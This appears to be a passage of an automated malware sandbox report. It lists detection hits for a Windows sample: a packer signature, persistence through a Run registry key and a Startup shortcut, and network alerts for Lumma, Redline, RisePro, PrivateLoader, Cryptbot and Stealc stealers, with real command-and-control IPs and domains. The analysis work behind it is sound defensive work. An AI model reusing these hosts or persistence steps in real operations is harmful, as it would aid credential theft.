11.0.Kra4UjTOv3M2ogVWTG9TXvYP.exe.f20000.0.unpack	INDICATOR_EXE_Packed_DotNetReactor	Detects executables packed with unregistered version of .NET Reactor	ditekSHen	0x4ea4e:$s2: is protected by an unregistered version of .NET Reactor!" );</script>
Click to see the 21 entries

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe, ParentImage: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe, ParentProcessId: 5980, ParentProcessName: WT1f5JwoYdslX1xK50iSTvoU.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 7408, ProcessName: powercfg.exe

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, ProcessId: 7692, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ExtreamFanV6

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, ProcessId: 7692, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 4140, ProcessName: svchost.exe

Suricata Signatures

ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:59.599839+0200	2036289	2	Crypto Currency Mining Activity Detected	192.168.2.4	62334	1.1.1.1	53	UDP

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:53.257455+0200	2028765	3	Unknown Traffic	192.168.2.4	63374	5.75.214.132	443	TCP
2024-09-11T16:22:54.745798+0200	2028765	3	Unknown Traffic	192.168.2.4	63379	5.75.214.132	443	TCP
2024-09-11T16:22:56.817269+0200	2028765	3	Unknown Traffic	192.168.2.4	63382	5.75.214.132	443	TCP
2024-09-11T16:22:58.325095+0200	2028765	3	Unknown Traffic	192.168.2.4	63385	5.75.214.132	443	TCP
2024-09-11T16:22:59.780181+0200	2028765	3	Unknown Traffic	192.168.2.4	63388	5.75.214.132	443	TCP
2024-09-11T16:23:01.458457+0200	2028765	3	Unknown Traffic	192.168.2.4	63392	5.75.214.132	443	TCP
2024-09-11T16:23:02.505652+0200	2028765	3	Unknown Traffic	192.168.2.4	63396	5.75.214.132	443	TCP
2024-09-11T16:23:05.653193+0200	2028765	3	Unknown Traffic	192.168.2.4	63403	5.75.214.132	443	TCP
2024-09-11T16:23:06.643229+0200	2028765	3	Unknown Traffic	192.168.2.4	63406	5.75.214.132	443	TCP
2024-09-11T16:23:08.061843+0200	2028765	3	Unknown Traffic	192.168.2.4	63410	5.75.214.132	443	TCP
2024-09-11T16:23:09.308841+0200	2028765	3	Unknown Traffic	192.168.2.4	63412	5.75.214.132	443	TCP
2024-09-11T16:23:10.351875+0200	2028765	3	Unknown Traffic	192.168.2.4	63413	5.75.214.132	443	TCP
2024-09-11T16:23:12.125599+0200	2028765	3	Unknown Traffic	192.168.2.4	63415	5.75.214.132	443	TCP
2024-09-11T16:23:13.877895+0200	2028765	3	Unknown Traffic	192.168.2.4	63416	5.75.214.132	443	TCP
2024-09-11T16:23:15.585903+0200	2028765	3	Unknown Traffic	192.168.2.4	63419	5.75.214.132	443	TCP
2024-09-11T16:23:16.998427+0200	2028765	3	Unknown Traffic	192.168.2.4	63421	5.75.214.132	443	TCP
2024-09-11T16:23:18.350374+0200	2028765	3	Unknown Traffic	192.168.2.4	63423	5.75.214.132	443	TCP
2024-09-11T16:23:22.238724+0200	2028765	3	Unknown Traffic	192.168.2.4	63427	5.75.214.132	443	TCP
2024-09-11T16:23:24.642220+0200	2028765	3	Unknown Traffic	192.168.2.4	63430	5.75.214.132	443	TCP
2024-09-11T16:23:26.462382+0200	2028765	3	Unknown Traffic	192.168.2.4	63432	5.75.214.132	443	TCP
2024-09-11T16:23:28.604310+0200	2028765	3	Unknown Traffic	192.168.2.4	63433	5.75.214.132	443	TCP
2024-09-11T16:23:30.801444+0200	2028765	3	Unknown Traffic	192.168.2.4	63434	5.75.214.132	443	TCP
2024-09-11T16:23:33.440797+0200	2028765	3	Unknown Traffic	192.168.2.4	63436	5.75.214.132	443	TCP
2024-09-11T16:23:36.216692+0200	2028765	3	Unknown Traffic	192.168.2.4	63437	5.75.214.132	443	TCP
2024-09-11T16:23:41.666524+0200	2028765	3	Unknown Traffic	192.168.2.4	63439	5.75.214.132	443	TCP
2024-09-11T16:23:43.544189+0200	2028765	3	Unknown Traffic	192.168.2.4	63440	5.75.214.132	443	TCP
2024-09-11T16:23:51.241361+0200	2028765	3	Unknown Traffic	192.168.2.4	63450	5.75.214.132	443	TCP
2024-09-11T16:23:52.786760+0200	2028765	3	Unknown Traffic	192.168.2.4	63454	5.75.214.132	443	TCP
2024-09-11T16:23:54.362208+0200	2028765	3	Unknown Traffic	192.168.2.4	63457	5.75.214.132	443	TCP
2024-09-11T16:23:56.174014+0200	2028765	3	Unknown Traffic	192.168.2.4	63462	5.75.214.132	443	TCP
2024-09-11T16:23:57.911337+0200	2028765	3	Unknown Traffic	192.168.2.4	63467	5.75.214.132	443	TCP
2024-09-11T16:24:04.009145+0200	2028765	3	Unknown Traffic	192.168.2.4	63474	5.75.214.132	443	TCP
2024-09-11T16:24:04.720744+0200	2028765	3	Unknown Traffic	192.168.2.4	63476	5.75.214.132	443	TCP
2024-09-11T16:24:08.989161+0200	2028765	3	Unknown Traffic	192.168.2.4	63481	5.75.214.132	443	TCP
2024-09-11T16:24:10.189753+0200	2028765	3	Unknown Traffic	192.168.2.4	63483	5.75.214.132	443	TCP
2024-09-11T16:24:39.106760+0200	2028765	3	Unknown Traffic	192.168.2.4	63511	5.75.214.132	443	TCP
2024-09-11T16:24:40.401180+0200	2028765	3	Unknown Traffic	192.168.2.4	63513	5.75.214.132	443	TCP
2024-09-11T16:24:41.951754+0200	2028765	3	Unknown Traffic	192.168.2.4	63514	5.75.214.132	443	TCP
2024-09-11T16:24:43.367181+0200	2028765	3	Unknown Traffic	192.168.2.4	63515	5.75.214.132	443	TCP
2024-09-11T16:24:44.911693+0200	2028765	3	Unknown Traffic	192.168.2.4	63516	5.75.214.132	443	TCP
2024-09-11T16:24:46.647758+0200	2028765	3	Unknown Traffic	192.168.2.4	63517	5.75.214.132	443	TCP
2024-09-11T16:24:47.644913+0200	2028765	3	Unknown Traffic	192.168.2.4	63518	5.75.214.132	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:58.768950+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63386	188.114.97.3	443	TCP
2024-09-11T16:22:59.932253+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63387	188.114.96.3	443	TCP
2024-09-11T16:23:00.915697+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63391	188.114.97.3	443	TCP
2024-09-11T16:23:01.931265+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63394	172.67.221.198	443	TCP
2024-09-11T16:23:03.059213+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63397	188.114.97.3	443	TCP
2024-09-11T16:23:04.051249+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63398	188.114.96.3	443	TCP
2024-09-11T16:23:05.217144+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63400	104.21.26.150	443	TCP
2024-09-11T16:23:06.235137+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63405	188.114.97.3	443	TCP
2024-09-11T16:23:14.974260+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63417	188.114.97.3	443	TCP
2024-09-11T16:23:16.170757+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63420	188.114.96.3	443	TCP
2024-09-11T16:23:17.503061+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63422	188.114.97.3	443	TCP
2024-09-11T16:23:18.682685+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63424	172.67.221.198	443	TCP
2024-09-11T16:23:19.864830+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63425	188.114.97.3	443	TCP
2024-09-11T16:23:21.100967+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63426	188.114.96.3	443	TCP
2024-09-11T16:23:22.802644+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63428	104.21.26.150	443	TCP
2024-09-11T16:23:24.186225+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63429	188.114.97.3	443	TCP
2024-09-11T16:23:45.015571+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63441	188.114.97.3	443	TCP
2024-09-11T16:23:47.693118+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63442	188.114.96.3	443	TCP
2024-09-11T16:23:48.758511+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63444	188.114.97.3	443	TCP
2024-09-11T16:23:49.900370+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63447	172.67.221.198	443	TCP
2024-09-11T16:23:51.151441+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63449	188.114.97.3	443	TCP
2024-09-11T16:23:52.236188+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63453	188.114.96.3	443	TCP
2024-09-11T16:23:53.581998+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63455	104.21.26.150	443	TCP
2024-09-11T16:23:54.633040+0200	2054653	1	A Network Trojan was detected	192.168.2.4	63458	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Domain in DNS Lookup (caffegclasiqwp .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:01.076505+0200	2055474	1	A Network Trojan was detected	192.168.2.4	62472	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Domain in DNS Lookup (condedqpwqm .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:00.854547+0200	2055475	1	A Network Trojan was detected	192.168.2.4	62490	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Domain in DNS Lookup (evoliutwoqm .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:00.926299+0200	2055477	1	A Network Trojan was detected	192.168.2.4	58683	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:00.809637+0200	2055479	1	A Network Trojan was detected	192.168.2.4	62190	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Domain in DNS Lookup (millyscroqwp .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:00.979274+0200	2055480	1	A Network Trojan was detected	192.168.2.4	50194	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Domain in DNS Lookup (stagedchheiqwo .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:00.999328+0200	2055481	1	A Network Trojan was detected	192.168.2.4	56141	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Domain in DNS Lookup (stamppreewntnq .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:01.012734+0200	2055482	1	A Network Trojan was detected	192.168.2.4	63709	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:00.839786+0200	2055483	1	A Network Trojan was detected	192.168.2.4	55706	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:58.768950+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63386	188.114.97.3	443	TCP
2024-09-11T16:22:59.932253+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63387	188.114.96.3	443	TCP
2024-09-11T16:23:00.915697+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63391	188.114.97.3	443	TCP
2024-09-11T16:23:01.931265+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63394	172.67.221.198	443	TCP
2024-09-11T16:23:03.059213+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63397	188.114.97.3	443	TCP
2024-09-11T16:23:04.051249+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63398	188.114.96.3	443	TCP
2024-09-11T16:23:05.217144+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63400	104.21.26.150	443	TCP
2024-09-11T16:23:06.235137+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63405	188.114.97.3	443	TCP
2024-09-11T16:23:14.974260+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63417	188.114.97.3	443	TCP
2024-09-11T16:23:16.170757+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63420	188.114.96.3	443	TCP
2024-09-11T16:23:17.503061+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63422	188.114.97.3	443	TCP
2024-09-11T16:23:18.682685+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63424	172.67.221.198	443	TCP
2024-09-11T16:23:19.864830+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63425	188.114.97.3	443	TCP
2024-09-11T16:23:21.100967+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63426	188.114.96.3	443	TCP
2024-09-11T16:23:22.802644+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63428	104.21.26.150	443	TCP
2024-09-11T16:23:24.186225+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63429	188.114.97.3	443	TCP
2024-09-11T16:23:45.015571+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63441	188.114.97.3	443	TCP
2024-09-11T16:23:47.693118+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63442	188.114.96.3	443	TCP
2024-09-11T16:23:48.758511+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63444	188.114.97.3	443	TCP
2024-09-11T16:23:49.900370+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63447	172.67.221.198	443	TCP
2024-09-11T16:23:51.151441+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63449	188.114.97.3	443	TCP
2024-09-11T16:23:52.236188+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63453	188.114.96.3	443	TCP
2024-09-11T16:23:53.581998+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63455	104.21.26.150	443	TCP
2024-09-11T16:23:54.633040+0200	2049836	1	A Network Trojan was detected	192.168.2.4	63458	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (awwardwiqi .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:00.794102+0200	2055575	1	Domain Observed Used for C2 Detected	192.168.2.4	53867	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (basedsymsotp .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:00.974004+0200	2055785	1	Domain Observed Used for C2 Detected	192.168.2.4	63275	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (charistmatwio .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:02.099003+0200	2055783	1	Domain Observed Used for C2 Detected	192.168.2.4	60217	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (commisionipwn .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:05.296741+0200	2055775	1	Domain Observed Used for C2 Detected	192.168.2.4	56795	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (complainnykso .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:57.788488+0200	2055787	1	Domain Observed Used for C2 Detected	192.168.2.4	59764	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (grassemenwji .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:03.095698+0200	2055779	1	Domain Observed Used for C2 Detected	192.168.2.4	52938	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (ignoracndwko .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:04.184982+0200	2055777	1	Domain Observed Used for C2 Detected	192.168.2.4	51792	1.1.1.1	53	UDP
2024-09-11T16:23:21.488383+0200	2055777	1	Domain Observed Used for C2 Detected	192.168.2.4	56661	1.1.1.1	53	UDP
2024-09-11T16:23:52.439151+0200	2055777	1	Domain Observed Used for C2 Detected	192.168.2.4	62217	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (preachstrwnwjw .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:58.962600+0200	2055789	1	Domain Observed Used for C2 Detected	192.168.2.4	59826	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (stitchmiscpaew .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:04.245102+0200	2055781	1	Domain Observed Used for C2 Detected	192.168.2.4	59882	1.1.1.1	53	UDP

ET MALWARE Observed Lumma Stealer Related Domain (basedsymsotp .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:01.477896+0200	2055786	1	Domain Observed Used for C2 Detected	192.168.2.4	63394	172.67.221.198	443	TCP
2024-09-11T16:23:18.155842+0200	2055786	1	Domain Observed Used for C2 Detected	192.168.2.4	63424	172.67.221.198	443	TCP
2024-09-11T16:23:49.416117+0200	2055786	1	Domain Observed Used for C2 Detected	192.168.2.4	63447	172.67.221.198	443	TCP

ET MALWARE Observed Lumma Stealer Related Domain (charistmatwio .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:02.598468+0200	2055784	1	Domain Observed Used for C2 Detected	192.168.2.4	63397	188.114.97.3	443	TCP
2024-09-11T16:23:14.466970+0200	2055784	1	Domain Observed Used for C2 Detected	192.168.2.4	63417	188.114.97.3	443	TCP
2024-09-11T16:23:19.347677+0200	2055784	1	Domain Observed Used for C2 Detected	192.168.2.4	63425	188.114.97.3	443	TCP
2024-09-11T16:23:44.515746+0200	2055784	1	Domain Observed Used for C2 Detected	192.168.2.4	63441	188.114.97.3	443	TCP
2024-09-11T16:23:50.699744+0200	2055784	1	Domain Observed Used for C2 Detected	192.168.2.4	63449	188.114.97.3	443	TCP

ET MALWARE Observed Lumma Stealer Related Domain (commisionipwn .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:05.781557+0200	2055776	1	Domain Observed Used for C2 Detected	192.168.2.4	63405	188.114.97.3	443	TCP
2024-09-11T16:23:23.697566+0200	2055776	1	Domain Observed Used for C2 Detected	192.168.2.4	63429	188.114.97.3	443	TCP
2024-09-11T16:23:54.187349+0200	2055776	1	Domain Observed Used for C2 Detected	192.168.2.4	63458	188.114.97.3	443	TCP

ET MALWARE Observed Lumma Stealer Related Domain (complainnykso .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:58.297534+0200	2055788	1	Domain Observed Used for C2 Detected	192.168.2.4	63386	188.114.97.3	443	TCP
2024-09-11T16:23:00.450769+0200	2055788	1	Domain Observed Used for C2 Detected	192.168.2.4	63391	188.114.97.3	443	TCP
2024-09-11T16:23:17.003504+0200	2055788	1	Domain Observed Used for C2 Detected	192.168.2.4	63422	188.114.97.3	443	TCP
2024-09-11T16:23:48.303789+0200	2055788	1	Domain Observed Used for C2 Detected	192.168.2.4	63444	188.114.97.3	443	TCP

ET MALWARE Observed Lumma Stealer Related Domain (grassemenwji .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:03.587456+0200	2055780	1	Domain Observed Used for C2 Detected	192.168.2.4	63398	188.114.96.3	443	TCP
2024-09-11T16:23:20.567676+0200	2055780	1	Domain Observed Used for C2 Detected	192.168.2.4	63426	188.114.96.3	443	TCP
2024-09-11T16:23:51.762352+0200	2055780	1	Domain Observed Used for C2 Detected	192.168.2.4	63453	188.114.96.3	443	TCP

ET MALWARE Observed Lumma Stealer Related Domain (preachstrwnwjw .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:59.518519+0200	2055790	1	Domain Observed Used for C2 Detected	192.168.2.4	63387	188.114.96.3	443	TCP
2024-09-11T16:23:15.699454+0200	2055790	1	Domain Observed Used for C2 Detected	192.168.2.4	63420	188.114.96.3	443	TCP
2024-09-11T16:23:46.133518+0200	2055790	1	Domain Observed Used for C2 Detected	192.168.2.4	63442	188.114.96.3	443	TCP

ET MALWARE Observed Lumma Stealer Related Domain (stitchmiscpaew .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:04.757159+0200	2055782	1	Domain Observed Used for C2 Detected	192.168.2.4	63400	104.21.26.150	443	TCP
2024-09-11T16:23:22.265336+0200	2055782	1	Domain Observed Used for C2 Detected	192.168.2.4	63428	104.21.26.150	443	TCP
2024-09-11T16:23:53.094768+0200	2055782	1	Domain Observed Used for C2 Detected	192.168.2.4	63455	104.21.26.150	443	TCP

ET MALWARE PrivateLoader CnC Activity (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:08.391237+0200	2054709	1	A Network Trojan was detected	192.168.2.4	49730	212.113.116.202	80	TCP
2024-09-11T16:22:09.089121+0200	2054709	1	A Network Trojan was detected	192.168.2.4	49731	45.91.200.135	80	TCP

ET MALWARE PrivateLoader CnC Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:14.385948+0200	2054711	1	A Network Trojan was detected	192.168.2.4	49731	45.91.200.135	80	TCP
2024-09-11T16:22:15.533512+0200	2054711	1	A Network Trojan was detected	192.168.2.4	49731	45.91.200.135	80	TCP
2024-09-11T16:22:45.090332+0200	2054711	1	A Network Trojan was detected	192.168.2.4	63369	45.91.200.135	80	TCP

ET MALWARE PrivateLoader CnC Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:13.230779+0200	2054710	1	A Network Trojan was detected	45.91.200.135	80	192.168.2.4	49731	TCP

ET MALWARE Redline Stealer TCP CnC - Id1Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:54.313945+0200	2043234	1	A Network Trojan was detected	45.91.202.63	25415	192.168.2.4	63376	TCP

ET MALWARE Redline Stealer TCP CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:54.133498+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:22:59.371721+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:00.695461+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:01.095545+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:01.290458+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:01.711796+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:02.025472+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:03.927735+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:04.123326+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:04.306557+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:04.490750+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:04.700858+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:07.734794+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:08.515614+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:08.719997+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:09.268737+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:23.830220+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:28.966796+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:29.262485+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:29.441689+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:32.301429+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:32.487016+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:32.673294+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:32.973344+0200	2043231	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP

ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:00.700435+0200	2046056	1	A Network Trojan was detected	45.91.202.63	25415	192.168.2.4	63376	TCP

ET MALWARE RisePro TCP Heartbeat Packet

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:55.185506+0200	2049060	1	A Network Trojan was detected	192.168.2.4	63375	77.105.164.24	50505	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:54.567159+0200	2054350	1	A Network Trojan was detected	192.168.2.4	63377	194.87.248.136	80	TCP
2024-09-11T16:23:01.757575+0200	2054350	1	A Network Trojan was detected	192.168.2.4	63377	194.87.248.136	80	TCP
2024-09-11T16:23:07.078925+0200	2054350	1	A Network Trojan was detected	192.168.2.4	63377	194.87.248.136	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:50.506272+0200	2044245	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.4	63372	TCP
2024-09-11T16:23:32.708648+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.103	80	192.168.2.4	63435	TCP

